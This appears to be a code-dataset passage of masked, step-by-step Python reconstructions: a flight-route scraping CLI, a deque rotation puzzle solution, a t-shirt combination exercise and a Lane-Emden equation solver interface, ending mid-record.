airport. I.e. PHX') @click.option('--to-airport', '-b', help='The three letter code of the destination airport. I.e. OKC') @click.option('--output', '-o', help='The path used to write the parsed routes.', default='./output') @click_log.simple_verbosity_option(logger) def routes(from_airport, to_airport, output): if not from_airport or not to_airport: logger.error('Unable to get routes without aiport codes. Use fio routes --help') return airport = from_airport.upper() scraper = FlightScraper() route_path = os.path.join(output, 'single_routes') logger.info(f'Creating {route_path}') os.makedirs(route_path, exist_ok=True) destination_link = scraper.get_fm_link(from_airport, to_airport) name, routes = scraper.get_flight_foutes(to_airport, destination_link) write_csv(route_path, f'{from_airport}_{to_airport}', routes) def write_csv(path, destination, routes): if not len(routes): print(f'{destination} has no routes. Nothing to write.') return header = ','.join(routes[0]) with open(os.path.join(path, f'{destination}.csv'), 'w') as f: f.write(header + '\n') for route in routes: row = ','.join((v.strip().replace(',', ' ') for v in route.values())) f.write(row + '\n') def write_json(destination_path, flight, routes): with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f: f.write(json.dumps(routes, indent=4)) if __name__ == '__main__': main()
normal
{ "blob_id": "234aad868ea71bbe476b303bcff37221820f1d90", "index": 4310, "step-1": "<mask token>\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\n<mask token>\n\n\[email protected](help=\n \"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help=\n 'The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n if not from_airport or not to_airport:\n logger.error(\n 'Unable to get routes without aiport codes. Use fio routes --help')\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join(v.strip().replace(',', ' ') for v in route.values())\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport\n returns the name of the airport and url associated with it.\n Sample usage: fio destinations --from-airport PHX\"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\n@click_log.simple_verbosity_option(logger)\ndef destinations(from_airport):\n if not from_airport:\n logger.error(\n 'Unable to get destinations without an aiport code. Use fio destinations --help'\n )\n return\n destinations = FlightScraper().get_destinations(from_airport.upper())\n logger.info(json.dumps(destinations, indent=4))\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport and crawls\n each destination to obtain the list of routes. The output files will\n stored in the given folder. Sample usage:\n fio all-routes --from-airport PHX --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef all_routes(from_airport, output):\n if not from_airport:\n logger.error(\n 'Unable to get all routes without an aiport code. Use fio all_routes --help'\n )\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n airport_path = os.path.join(output, airport)\n logger.info(f'Creating {airport_path}')\n os.makedirs(airport_path, exist_ok=True)\n for destination, routes in scraper.get_routes(airport):\n write_csv(airport_path, destination, routes)\n\n\[email protected](help=\n \"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help=\n 'The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n if not from_airport or not to_airport:\n logger.error(\n 'Unable to get routes without aiport codes. Use fio routes --help')\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join(v.strip().replace(',', ' ') for v in route.values())\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\n<mask token>\n", "step-3": "<mask token>\nclick_log.basic_config(logger)\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport\n returns the name of the airport and url associated with it.\n Sample usage: fio destinations --from-airport PHX\"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\n@click_log.simple_verbosity_option(logger)\ndef destinations(from_airport):\n if not from_airport:\n logger.error(\n 'Unable to get destinations without an aiport code. Use fio destinations --help'\n )\n return\n destinations = FlightScraper().get_destinations(from_airport.upper())\n logger.info(json.dumps(destinations, indent=4))\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport and crawls\n each destination to obtain the list of routes. The output files will\n stored in the given folder. Sample usage:\n fio all-routes --from-airport PHX --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef all_routes(from_airport, output):\n if not from_airport:\n logger.error(\n 'Unable to get all routes without an aiport code. Use fio all_routes --help'\n )\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n airport_path = os.path.join(output, airport)\n logger.info(f'Creating {airport_path}')\n os.makedirs(airport_path, exist_ok=True)\n for destination, routes in scraper.get_routes(airport):\n write_csv(airport_path, destination, routes)\n\n\[email protected](help=\n \"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help=\n 'The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n if not from_airport or not to_airport:\n logger.error(\n 'Unable to get routes without aiport codes. Use fio routes --help')\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join(v.strip().replace(',', ' ') for v in route.values())\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\nif __name__ == '__main__':\n main()\n", "step-4": "<mask token>\nlogger = logging.getLogger(__name__)\nclick_log.basic_config(logger)\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport\n returns the name of the airport and url associated with it.\n Sample usage: fio destinations --from-airport PHX\"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\n@click_log.simple_verbosity_option(logger)\ndef destinations(from_airport):\n if not from_airport:\n logger.error(\n 'Unable to get destinations without an aiport code. Use fio destinations --help'\n )\n return\n destinations = FlightScraper().get_destinations(from_airport.upper())\n logger.info(json.dumps(destinations, indent=4))\n\n\[email protected](help=\n \"\"\"Reads the entire destination list of of the given airport and crawls\n each destination to obtain the list of routes. The output files will\n stored in the given folder. Sample usage:\n fio all-routes --from-airport PHX --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef all_routes(from_airport, output):\n if not from_airport:\n logger.error(\n 'Unable to get all routes without an aiport code. Use fio all_routes --help'\n )\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n airport_path = os.path.join(output, airport)\n logger.info(f'Creating {airport_path}')\n os.makedirs(airport_path, exist_ok=True)\n for destination, routes in scraper.get_routes(airport):\n write_csv(airport_path, destination, routes)\n\n\[email protected](help=\n \"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\"\n )\[email protected]('--from-airport', '-a', help=\n 'The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help=\n 'The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help=\n 'The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n if not from_airport or not to_airport:\n logger.error(\n 'Unable to get routes without aiport codes. Use fio routes --help')\n return\n airport = from_airport.upper()\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join(v.strip().replace(',', ' ') for v in route.values())\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import os\nimport time\nimport json\nimport click\nimport click_log\nimport logging\n\nfrom flightsio.scraper import FlightScraper\n\nlogger = logging.getLogger(__name__)\nclick_log.basic_config(logger)\n\n\[email protected]()\ndef main():\n \"\"\"\n An empty click group, required in order to bundle the other commands.\n \"\"\"\n pass\n\n\[email protected](help=\"\"\"Reads the entire destination list of of the given airport\n returns the name of the airport and url associated with it.\n Sample usage: fio destinations --from-airport PHX\"\"\")\[email protected]('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX')\n@click_log.simple_verbosity_option(logger)\ndef destinations(from_airport):\n\n if not from_airport:\n logger.error('Unable to get destinations without an aiport code. Use fio destinations --help')\n return\n\n destinations = FlightScraper().get_destinations(from_airport.upper())\n logger.info(json.dumps(destinations, indent=4))\n\n\[email protected](help=\"\"\"Reads the entire destination list of of the given airport and crawls\n each destination to obtain the list of routes. The output files will\n stored in the given folder. Sample usage:\n fio all-routes --from-airport PHX --output ./out\n \"\"\")\[email protected]('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX')\[email protected]('--output', '-o', help='The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef all_routes(from_airport, output):\n\n if not from_airport:\n logger.error('Unable to get all routes without an aiport code. Use fio all_routes --help')\n return\n\n airport = from_airport.upper()\n\n scraper = FlightScraper()\n airport_path = os.path.join(output, airport)\n logger.info(f'Creating {airport_path}')\n os.makedirs(airport_path, exist_ok=True)\n\n for destination, routes in scraper.get_routes(airport):\n write_csv(airport_path, destination, routes)\n\n\[email protected](help=\"\"\"Reads the route list between a source airport and a destination airport and\n writes the result in the output folder. Sample usage:\n fio routes --from-airport PHX --to-airport OKC --output ./out\n \"\"\")\[email protected]('--from-airport', '-a', help='The three letter code of the source airport. I.e. PHX')\[email protected]('--to-airport', '-b', help='The three letter code of the destination airport. I.e. OKC')\[email protected]('--output', '-o', help='The path used to write the parsed routes.', default='./output')\n@click_log.simple_verbosity_option(logger)\ndef routes(from_airport, to_airport, output):\n\n if not from_airport or not to_airport:\n logger.error('Unable to get routes without aiport codes. Use fio routes --help')\n return\n\n airport = from_airport.upper()\n\n scraper = FlightScraper()\n route_path = os.path.join(output, 'single_routes')\n logger.info(f'Creating {route_path}')\n os.makedirs(route_path, exist_ok=True)\n\n destination_link = scraper.get_fm_link(from_airport, to_airport)\n name, routes = scraper.get_flight_foutes(to_airport, destination_link)\n\n write_csv(route_path, f'{from_airport}_{to_airport}', routes)\n\n\ndef write_csv(path, destination, routes):\n\n if not len(routes):\n print(f'{destination} has no routes. Nothing to write.')\n return\n\n header = ','.join(routes[0])\n with open(os.path.join(path, f'{destination}.csv'), 'w') as f:\n f.write(header + '\\n')\n for route in routes:\n row = ','.join((v.strip().replace(',', ' ') for v in route.values()))\n f.write(row + '\\n')\n\n\ndef write_json(destination_path, flight, routes):\n\n with open(os.path.join(destination_path, f'{flight}.json'), 'w') as f:\n f.write(json.dumps(routes, indent=4))\n\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 4, 6, 7, 8, 10 ] }
[ 4, 6, 7, 8, 10 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for k in range(1, size + 1): nums.append(k) <|reserved_special_token_0|> while position != deque([]): if position[0] == 1: size.popleft() position.popleft() for i in range(len(position)): position[i] -= 1 else: right = 0 left = 0 if position[0] <= (len(size) + 2) // 2: size.rotate(-1) cnt += 1 for i in range(len(position)): position[i] -= 1 if position[i] <= 0: position[i] = len(size) else: size.rotate(1) cnt += 1 for i in range(len(position)): position[i] += 1 if position[i] > len(size): position[i] = 1 print(cnt) <|reserved_special_token_1|> <|reserved_special_token_0|> input = sys.stdin.readline <|reserved_special_token_0|> size, num = map(int, input().split()) position = list(map(int, input().split())) cnt = 0 nums = [] for k in range(1, size + 1): nums.append(k) size = deque(nums) position = deque(position) while position != deque([]): if position[0] == 1: size.popleft() position.popleft() for i in range(len(position)): position[i] -= 1 else: right = 0 left = 0 if position[0] <= (len(size) + 2) // 2: size.rotate(-1) cnt += 1 for i in range(len(position)): position[i] -= 1 if position[i] <= 0: position[i] = len(size) else: size.rotate(1) cnt += 1 for i in range(len(position)): position[i] += 1 if position[i] > len(size): position[i] = 1 print(cnt) <|reserved_special_token_1|> import sys input = sys.stdin.readline from collections import deque size, num = map(int, input().split()) position = list(map(int, input().split())) cnt = 0 nums = [] for k in range(1, size + 1): nums.append(k) size = deque(nums) position = deque(position) while position != deque([]): if position[0] == 1: size.popleft() position.popleft() for i in range(len(position)): position[i] -= 1 else: right = 0 left = 0 if position[0] <= (len(size) + 2) // 2: size.rotate(-1) cnt += 1 for i in range(len(position)): position[i] -= 1 if position[i] <= 0: position[i] = len(size) else: size.rotate(1) cnt += 1 for i in range(len(position)): position[i] += 1 if position[i] > len(size): position[i] = 1 print(cnt)
flexible
{ "blob_id": "c0c0ed31a09f2b49448bc1f3519aa61daaba20af", "index": 5023, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor k in range(1, size + 1):\n nums.append(k)\n<mask token>\nwhile position != deque([]):\n if position[0] == 1:\n size.popleft()\n position.popleft()\n for i in range(len(position)):\n position[i] -= 1\n else:\n right = 0\n left = 0\n if position[0] <= (len(size) + 2) // 2:\n size.rotate(-1)\n cnt += 1\n for i in range(len(position)):\n position[i] -= 1\n if position[i] <= 0:\n position[i] = len(size)\n else:\n size.rotate(1)\n cnt += 1\n for i in range(len(position)):\n position[i] += 1\n if position[i] > len(size):\n position[i] = 1\nprint(cnt)\n", "step-3": "<mask token>\ninput = sys.stdin.readline\n<mask token>\nsize, num = map(int, input().split())\nposition = list(map(int, input().split()))\ncnt = 0\nnums = []\nfor k in range(1, size + 1):\n nums.append(k)\nsize = deque(nums)\nposition = deque(position)\nwhile position != deque([]):\n if position[0] == 1:\n size.popleft()\n position.popleft()\n for i in range(len(position)):\n position[i] -= 1\n else:\n right = 0\n left = 0\n if position[0] <= (len(size) + 2) // 2:\n size.rotate(-1)\n cnt += 1\n for i in range(len(position)):\n position[i] -= 1\n if position[i] <= 0:\n position[i] = len(size)\n else:\n size.rotate(1)\n cnt += 1\n for i in range(len(position)):\n position[i] += 1\n if position[i] > len(size):\n position[i] = 1\nprint(cnt)\n", "step-4": "import sys\ninput = sys.stdin.readline\nfrom collections import deque\nsize, num = map(int, input().split())\nposition = list(map(int, input().split()))\ncnt = 0\nnums = []\nfor k in range(1, size + 1):\n nums.append(k)\nsize = deque(nums)\nposition = deque(position)\nwhile position != deque([]):\n if position[0] == 1:\n size.popleft()\n position.popleft()\n for i in range(len(position)):\n position[i] -= 1\n else:\n right = 0\n left = 0\n if position[0] <= (len(size) + 2) // 2:\n size.rotate(-1)\n cnt += 1\n for i in range(len(position)):\n position[i] -= 1\n if position[i] <= 0:\n position[i] = len(size)\n else:\n size.rotate(1)\n cnt += 1\n for i in range(len(position)):\n position[i] += 1\n if position[i] > len(size):\n position[i] = 1\nprint(cnt)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for color in list_1: for size in list_2: print(color, size) <|reserved_special_token_0|> list_3.reverse() print(list_3) <|reserved_special_token_1|> list_1 = ['color', 'white', 'black'] list_2 = ['short', 'medium', 'large', 'xl'] for color in list_1: for size in list_2: print(color, size) list_3 = [(color, size) for color in list_1 for size in list_2] list_3.reverse() print(list_3) <|reserved_special_token_1|> list_1 = ['color','white','black']#taking the colors of t-shirts as input list_2 = ['short','medium','large','xl']#taking sizes of t-shirts as input for color in list_1: for size in list_2: #using cartesien product asking to give output as the combinations of color and size of t-shirts we have print(color,size) #using list comprehension for the above input giving the same output but in reverse order list_3 = [ (color,size) for color in list_1 for size in list_2] list_3.reverse()#used reverse method in lists print(list_3)
flexible
{ "blob_id": "6cba431650ee8b74baa8310c144321b2e587155e", "index": 2163, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor color in list_1:\n for size in list_2:\n print(color, size)\n<mask token>\nlist_3.reverse()\nprint(list_3)\n", "step-3": "list_1 = ['color', 'white', 'black']\nlist_2 = ['short', 'medium', 'large', 'xl']\nfor color in list_1:\n for size in list_2:\n print(color, size)\nlist_3 = [(color, size) for color in list_1 for size in list_2]\nlist_3.reverse()\nprint(list_3)\n", "step-4": "list_1 = ['color','white','black']#taking the colors of t-shirts as input\r\n\r\nlist_2 = ['short','medium','large','xl']#taking sizes of t-shirts as input \r\n\r\nfor color in list_1: \r\n \r\n for size in list_2:\r\n \r\n#using cartesien product asking to give output as the combinations of color and size of t-shirts we have\r\n \r\n print(color,size) \r\n \r\n#using list comprehension for the above input giving the same output but in reverse order \r\n\r\nlist_3 = [ (color,size) for color in list_1 for size in list_2]\r\n\r\nlist_3.reverse()#used reverse method in lists\r\n\r\nprint(list_3)\r\n\r\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> def lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0): """ Interface to FORTRAN90 Lane-Emden Integrator. Call: ndata, data = laneemden.lane_emden_int(dz, n, w) INPUT: dz: step in z, maye use 2**(-14) n: polytropic index (use 3.) w: rotation parameter(use 0. for non-rot) w = 2 Omega^2 / (4 pi G rho_c) OUTPUT: ndata: number of last point (starts with 0) data: output data in form [0:ndata,0:1] index 0: equidistant grid with step size dz starting at 0 index 1: 0: theta(z) 1: d theta(z) / dz """ _solver.lane(dz, n, w) out = _solver.laneout n = int(out.ndata) t = out.theta return n, t[0:n + 1, :] def lane_emden_step(x, y, dx, n, w): """ This allows a single call to the rk4 subroutine. It turns out to be *way* less efficient. Do not use. """ _solver.rk4(x, y[0], y[1], dx, n, w) out = _solver.rk4out return np.array([out.z0, out.z1]) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def test(): """ A simple test. """ n = 3.0 dz = 2.0 ** -14 _solver.lane(dz, n) out = _solver.laneout n = out.ndata t = out.theta return t, n def lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0): """ Interface to FORTRAN90 Lane-Emden Integrator. Call: ndata, data = laneemden.lane_emden_int(dz, n, w) INPUT: dz: step in z, maye use 2**(-14) n: polytropic index (use 3.) w: rotation parameter(use 0. for non-rot) w = 2 Omega^2 / (4 pi G rho_c) OUTPUT: ndata: number of last point (starts with 0) data: output data in form [0:ndata,0:1] index 0: equidistant grid with step size dz starting at 0 index 1: 0: theta(z) 1: d theta(z) / dz """ _solver.lane(dz, n, w) out = _solver.laneout n = int(out.ndata) t = out.theta return n, t[0:n + 1, :] def lane_emden_step(x, y, dx, n, w): """ This allows a single call to the rk4 subroutine. It turns out to be *way* less efficient. Do not use. """ _solver.rk4(x, y[0], y[1], dx, n, w) out = _solver.rk4out return np.array([out.z0, out.z1]) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def test(): """ A simple test. """ n = 3.0 dz = 2.0 ** -14 _solver.lane(dz, n) out = _solver.laneout n = out.ndata t = out.theta return t, n def lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0): """ Interface to FORTRAN90 Lane-Emden Integrator. Call: ndata, data = laneemden.lane_emden_int(dz, n, w) INPUT: dz: step in z, maye use 2**(-14) n: polytropic index (use 3.) w: rotation parameter(use 0. for non-rot) w = 2 Omega^2 / (4 pi G rho_c) OUTPUT: ndata: number of last point (starts with 0) data: output data in form [0:ndata,0:1] index 0: equidistant grid with step size dz starting at 0 index 1: 0: theta(z) 1: d theta(z) / dz """ _solver.lane(dz, n, w) out = _solver.laneout n = int(out.ndata) t = out.theta return n, t[0:n + 1, :] def lane_emden_step(x, y, dx, n, w): """ This allows a single call to the rk4 subroutine. It turns out to be *way* less efficient. Do not use. """ _solver.rk4(x, y[0], y[1], dx, n, w) out = _solver.rk4out return np.array([out.z0, out.z1]) if __name__ == '__main__': t, n = test() print(t, n) <|reserved_special_token_1|> <|reserved_special_token_0|> import numpy as np from . import _solver def test(): """ A simple test. """ n = 3.0 dz = 2.0 ** -14 _solver.lane(dz, n) out = _solver.laneout n = out.ndata t = out.theta return t, n def lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0): """ Interface to FORTRAN90 Lane-Emden Integrator. Call: ndata, data = laneemden.lane_emden_int(dz, n, w) INPUT: dz: step in z, maye use 2**(-14) n: polytropic index (use 3.) w: rotation parameter(use 0. for non-rot) w = 2 Omega^2 / (4 pi G rho_c) OUTPUT: ndata: number of last point (starts with 0) data: output data in form [0:ndata,0:1] index 0: equidistant grid with step size dz starting at 0 index 1: 0: theta(z) 1: d theta(z) / dz """ _solver.lane(dz, n, w) out = _solver.laneout n = int(out.ndata) t = out.theta return n, t[0:n + 1, :] def lane_emden_step(x, y, dx, n, w): """ This allows a single call to the rk4 subroutine. It turns out to be *way* less efficient. Do not use. """ _solver.rk4(x, y[0], y[1], dx, n, w) out = _solver.rk4out return np.array([out.z0, out.z1]) if __name__ == '__main__': t, n = test() print(t, n) <|reserved_special_token_1|> #! /bin/env python3 """ Lane Emden Python interface. Main routine: lane_emden_int(dz, n) """ import numpy as np from . import _solver def test(): """ A simple test. """ n = 3. dz = 2.**(-14) _solver.lane(dz,n) out = _solver.laneout n = out.ndata t = out.theta return t,n def lane_emden_int(dz = 2.**(-14), n = 3., w = 0.): """ Interface to FORTRAN90 Lane-Emden Integrator. Call: ndata, data = laneemden.lane_emden_int(dz, n, w) INPUT: dz: step in z, maye use 2**(-14) n: polytropic index (use 3.) w: rotation parameter(use 0. for non-rot) w = 2 Omega^2 / (4 pi G rho_c) OUTPUT: ndata: number of last point (starts with 0) data: output data in form [0:ndata,0:1] index 0: equidistant grid with step size dz starting at 0 index 1: 0: theta(z) 1: d theta(z) / dz """ _solver.lane(dz, n, w) out = _solver.laneout n = int(out.ndata) t = out.theta return n,t[0:n+1,:] def lane_emden_step(x,y,dx,n,w): """ This allows a single call to the rk4 subroutine. It turns out to be *way* less efficient. Do not use. """ _solver.rk4(x,y[0],y[1],dx,n,w) out = _solver.rk4out return np.array([out.z0,out.z1]) if __name__ == '__main__': t,n = test() print(t, n)
flexible
{ "blob_id": "10723f703f40b5db2b7c9532cda520b2ae078546", "index": 2175, "step-1": "<mask token>\n\n\ndef lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n, t[0:n + 1, :]\n\n\ndef lane_emden_step(x, y, dx, n, w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x, y[0], y[1], dx, n, w)\n out = _solver.rk4out\n return np.array([out.z0, out.z1])\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef test():\n \"\"\"\n A simple test.\n \"\"\"\n n = 3.0\n dz = 2.0 ** -14\n _solver.lane(dz, n)\n out = _solver.laneout\n n = out.ndata\n t = out.theta\n return t, n\n\n\ndef lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n, t[0:n + 1, :]\n\n\ndef lane_emden_step(x, y, dx, n, w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x, y[0], y[1], dx, n, w)\n out = _solver.rk4out\n return np.array([out.z0, out.z1])\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef test():\n \"\"\"\n A simple test.\n \"\"\"\n n = 3.0\n dz = 2.0 ** -14\n _solver.lane(dz, n)\n out = _solver.laneout\n n = out.ndata\n t = out.theta\n return t, n\n\n\ndef lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n, t[0:n + 1, :]\n\n\ndef lane_emden_step(x, y, dx, n, w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x, y[0], y[1], dx, n, w)\n out = _solver.rk4out\n return np.array([out.z0, out.z1])\n\n\nif __name__ == '__main__':\n t, n = test()\n print(t, n)\n", "step-4": "<mask token>\nimport numpy as np\nfrom . import _solver\n\n\ndef test():\n \"\"\"\n A simple test.\n \"\"\"\n n = 3.0\n dz = 2.0 ** -14\n 